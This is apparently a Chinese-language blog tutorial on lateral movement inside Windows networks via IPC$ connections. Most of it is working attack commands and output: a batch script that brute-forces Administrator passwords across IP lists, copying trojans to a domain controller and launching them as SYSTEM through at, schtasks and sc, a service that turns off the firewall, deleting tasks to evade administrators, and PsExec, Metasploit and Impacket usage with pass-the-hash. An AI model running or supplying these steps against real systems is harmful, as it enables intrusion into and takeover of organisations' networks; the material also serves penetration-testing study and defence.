IPC

IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

建立IPC连接

比如通过执行以下命令,我们可以让win7与DC建立IPC连接:

net use \\<DC的IP>\ipc$ "password" /user:"username"
net use \\192.168.183.130\ipc$ "123456" /user:"administrator"

net use // 查看当前主机所建立的连接

让win7与DC建立IPC连接之后我们便可以通过win7访问目标机器DC中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令了。

列出DC上C盘的目录

dir \\192.168.183.130\c$

文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去)

copy C:\Users\douser\Desktop\1.txt \\192.168.183.130\c$

在使用net use命令与远程主机建立ipc$连接后,还可以使用tasklist命令的/S、/U、/P参数列出目标远程主机上运行的进程(可能有点慢)

  • /s:指要查看的远程系统的IP地址
  • /u:指定使用哪个用户执行这个远程命令
  • /p:指定该用户的密码
tasklist /S 192.168.183.130 /U administrator /P 123456

删除默认共享

net share c$ /del

恢复默认共享

 net share c$=c:

对方的c盘映射为自己的z盘,其他盘类推(不推荐)

net use z: \\192.168.1.1\c$ "1qaz@WSX" /user:"administrator" 

删除映射的c盘,其他盘类推

net use c: /del

查看目标主机的NetBIOS用户(自己本机也需开启)

nbtstat -A 192.168.1.1

删除本机与指定ip建立的连接

net use \\192.168.1.1\ipc$ /del /y

删除本机所有已建立的连接

net use * /del /y

建立 ipc$ 连接的条件

139,445端口开启

IPC连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示netbios协议的应用。我们可以通过139和445端口来实现对共享文件/打印机的访问,因此一般来讲,IPC连接是需要139或445端口来支持的。

注:IPC$连接默认会去走445端口,不通的话则会走139端口,这两个端口都可以单独实现文件共享(新版本系统好像会强制走445端口)

开启了ipc$默认共享

默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(C,D,E...)和系统目录WINNT或WINDOWS(ADMIN),我们通过IPC连接可以实现对这些默认共享的访问。

C:\Users\Administrator>net share

共享名       资源                            注解

-------------------------------------------------------------------------------
C$           C:\                             默认共享
IPC$                                         远程 IPC
ADMIN$       C:\WINDOWS                      远程管理
命令成功完成

IPC$连接失败常见错误

错误号 5,拒绝访问【很可能你使用的用户不是管理员权限的,先提升权限】
错误号 51,Windows 无法找到网络路径【网络有问题】
错误号 53,找不到网络路径【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突【你已经和对方建立了一个ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码【原因很明显了】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
---
情况1:可能是你在“拒绝从网络访问这台计算机”功能中拒绝了该用户的访问,解决方法如下:
开始-->运行-->gpedit.msc计算机配置-->Windows设置-->安全设置-->本地策略-->用户权利指派-->拒绝从网络访问这台计算机-->删除你要正常连接的用户
情况2:
(1)网络访问为:经典
(2)来宾账户状态:已启用,
(3)拒绝从网络访问这台计算机里有Guest用户或组
(4)你执行net use \\xxx.xxx.xxx.xxx\IPC$ "123456" /user:"xxx" 输入的用户名是随便输入的,这时也会遇到这个错误信息,因为当你连接的用户不存在时,net use会默认用Guest用户来进行连接,而Guest用户已拒绝从网络访问,所以也会出现这种错误
---
错误号 1792,试图登录,但是网络登录服务没有启动【目标NetLogon服务未启动[连接域控会出现此情况]】
错误号 2242,此用户的密码已经过期【目标有帐号策略,强制定期要求更改密码】

IPC批量爆破弱口令

内网中爆破弱口令时首选的便是使用ipc,爆破错误次数一般也不会做限制,但是一定要注意爆破成功的结果是否为匿名权限的ipc连接。

弱口令爆破这种手段在在内网中是一把双刃剑,如果公司领导未过于重视网络安全的话,导致信息安全部地位低下、资金有限,那么在缺乏安全设备监控与员工网络安全意识低下的情况下,在内网进行弱口令爆破是一件非常高效地事情,如大部分的央企、国企二级单位。

但另一方面,如果该公司确实在网络安全方面投入较大人力财力,那么弱口令爆破无异于自杀。

弱口令字典可由部分简单口令和部分复杂规则口令与企业名称+年份组成,如12345678,000000,1q2w3e4r,1qaz2wsx,baidu@2020,baidu@123等,不宜超过100条且建议单线程慢速爆破,避免被拦截。

使用说明:

ip.txt 放入要爆破的IP
pass.txt 放入爆破的密码
默认爆破用户:Administrator
爆破成功的结果,会在bat运行的当前目录生成pic.txt
爆破进度的查询:type log.txt,完成后当前目录生成end.txt

1.有密码

有密码
@echo off
cls
echo Useage: %0 ip.txt pass.txt
for /f %%t in (%1) do (
FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (
echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txt
net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator"  >NUL 2>NUL
IF NOT errorlevel 1 (
echo %%i  t:%%t>> pic.txt
net use \\%%t\ipc$ /del
)
net use * /del /y >NUL 2>NUL
)
)
echo end >> end.txt

2.空密码

@echo off
cls
echo Useage: %0 ip.txt
for /f %%t in (%1) do (
echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txt
net use \\%%t\ipc$ "" /user:"localhost\Administrator"  >NUL 2>NUL
IF NOT errorlevel 1 (
echo success:%%t>> pic.txt
net use \\%%t\ipc$ /del
)
net use * /del /y >NUL 2>NUL
)
echo end >> end.txt

结合计划任务横向

利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。操作如下:

  1. 先与目标主机建立ipc连接。
net use \\192.168.183.130\ipc$ "123456" /user:"administrator"
  1. 再使用net time命令确定目标主机DC的当前时间:
net time \\192.168.183.130
  1. 然后使用copy命令远程操作,将生成的payload文件复制到目标系统C盘中:
copy shell.exe \\192.168.183.130\c$
  1. 接着使用at命令创建计划任务,让目标主机DC在指定的时间运行木马程序:
at \\192.168.183.130 18:53:00 c:\shell.exe

如上图,成功在目标主机上创建了一个ID为1,在18:53:00执行shell.exe程序的计划任务

等到时间到达18:53:00时,目标主机上的木马程序shell.exe执行,攻击者主机就成功获得目标主机的shell

  1. 最后,我们使用完计划任务后,还需要将该计划任务删除,以免被网管理员发现:
at \\192.168.183.130 1 /delete

// 1为计划任务的ID

除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用at计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后远程读取:

at \\192.168.183.130 17:05:00 cmd.exe /c "ipconfig > C:\Users\Administrator\result.txt"

at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>" > 目录\result.txt

然后用type命令远程读取该文本文件:

type \\192.168.183.130\c$\Users\Administrator\result.txt

如上图所示,命令执行成功。

利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。

利用schtasks命令创建计划任务进行横向移动的操作流程如下:

  1. 先与目标主机建立ipc连接。
net use \\192.168.183.130\ipc$ "123456" /user:"administrator"
  1. 然后使用copy命令远程操作,将生成的payload文件shell.exe复制到目标系统C盘中。
copy shell.exe \\192.168.183.130\c$
  1. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。命令如下:
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1  /tr c:\shell.exe /ru system /f

在没有建立ipc连接时,要加上/u和/p参数分别设置用户名和密码。

但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:

遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:

schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f

这样就行了:

  1. 然后执行如下命令立即运行该计划任务(也可以自己等一分钟):
schtasks /run /s 192.168.183.130 /i /tn backdoor
// i:忽略任何限制立即运行任务

schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p Liu78963   // 遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码

计划任务成功执行后,会得到shell

  1. 计划任务成功运行后,执行如下命令强制删除该计划任务:
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f

除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:

schtasks /create /s 192.168.183.130 /tn test /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\Users\Administrator\result.txt'" /ru system /f

立即启动该计划任务:

schtasks /run /s 192.168.183.130 /i /tn test

最后利用type命令远程查看目标主机上的result.txt文件即可,如下图所示,命令执行成功:

注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。

结合Windows服务横向

使用条件:

  • 当前跳板机用户具有管理员权限(因为要创建服务)。
  • 与目标机器已经建立ipc连接

利用 sc 命令

在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透

使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。流程基本如下:

  1. 先让跳板机与内网目标机DC建立ipc连接。
  2. 然后让跳板机使用copy命令远程操作,将生成的payload文件bind.exe复制到目标主机DC系统C盘中。

  1. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建计划任务启动程序

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"

注意这里的格式,“=”后面是必须空一格的,否则会出现错误。

\4. 立即启动该服务:

sc \\WIN-ENS2VR5TR3N start bindshell

执行后,成功上线域控

  1. 使用完后删除刚才创建的服务
sc \\[host] delete [servicename]   #删除服务

我们还可以通过设置服务来关闭防火墙:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

结合工具横向

PsExec.exe

微软官方pstools

可先建立ipc连接再使用psexec无需输入密码

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。

PsExec的基本原理:

    1. 通过ipc$连接,释放二进制文件psexecsvc.exe到目标
    1. 通过服务管理SCManager远程创建一个psexec服务,并启动服务
    1. 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
    1. 运行结束后删除服务

psexec的使用前提:

  • 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
  • 对方未开启防火墙
  • 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
  • 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

基本操作命令如下:

PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -s cmd.exe
  • -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
  • -u:用户名
  • -p:密码
  • -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell

执行如上命令后,我们就可以获的目标主机DC的System权限的Shell:

这里,如果我们提前与目标机建立了基于administrator用户的ipc连接,那么我们可以不用指定用户名和密码,直接连接即可:

PsExec.exe -accepteula \\192.168.183.130 cmd.exe

我们不仅可以用PsExec得到目标主机的shell,也可以直接执行命令:

PsExec.exe \\192.168.183.130 <Command>

PsExec.exe \\192.168.183.130 cmd.exe /c "ipconfig"
PsExec.exe \\192.168.183.130 -u demo\administrator -p Liu78963 cmd.exe /c "ipconfig"
// 用目标系统的cmd.exe的/c选项在目标主机上执行命令,并得到回显(与前面的at命令相似)

Metasploit下的PsExec模块

在metasploit框架下,有以下这几个psexec模块:

常用的模块有:

exploit/windows/smb/psexec           // 用psexec执行系统命令,与psexec.exe相同
exploit/windows/smb/psexec_psh       // 使用powershell作为payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command   // 在目标机器上执行系统命令
exploit/windows/smb/ms17_010_psexec
使用exploit/windows/smb/psexec_psh,该模块生成的payload主要是有powershell实现的。powershell作为Windows自带的脚本运行环境,免杀效果比由exploit/windows/smb/psexec生成的exe版payload好。但是,因为Windows 7、Windows Server 2008及以上版本的操作系统才默认有powershell,所以如果遇到默认不含powershell的Windows XP或Windows Server 2003,就要使用由exploit/windows/smb/psexec生成的exe版本的payload。

下面演示exploit/windows/smb/psexec模块的使用过程:

set rhosts 192.168.52.138
set SMBDomain god
set SMBUser Liukaifeng01
set SMBPass Liufupeng123       // 设置明文密码或设置哈希来进行PTH
run

其他的那几个模块的使用方法与exploit/windows/smb/psexec相同。这些模块不仅可以指定用户明文密码,还可以直接指定哈希值来进行哈希传递攻击。

注意:在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将会被自动删除。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。

Impacket

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。

项目地址:https://github.com/SecureAuthCorp/impacket

  • smbexec.py
PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#EDC@192.168.10.201
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>
  • psexec.py
  • 与官方psexec.exe相比会自动删除服务,增加隐蔽性*
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#EDC@192.168.10.201
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file XUUaBGPx.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service eQxj on 192.168.10.201.....
[*] Starting service eQxj.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7601]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>

或者直接执行命令

PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file ktRkscJe.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service YvrT on 192.168.10.201.....
[*] Starting service YvrT.....
[!] Press help for extra shell commands
nt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 192.168.10.201.....
[*] Stopping service YvrT.....
[*] Removing service YvrT.....
[*] Removing file ktRkscJe.exe.....
  • wmiexec.py
wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell>
PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator

参考:

域渗透学习(五)基于IPC的远程连接 | AresX's Blog (ares-x.com)

Impacket套件之远程命令执行功能讲解 (qq.com)

内网渗透 | 基于IPC的横向移动 - 腾讯云开发者社区-腾讯云 (tencent.com)

内网渗透测试:内网横向移动基础总结 - FreeBuf网络安全行业门户

最后修改:2022 年 10 月 27 日
如果觉得我的文章对你有用,请随意赞赏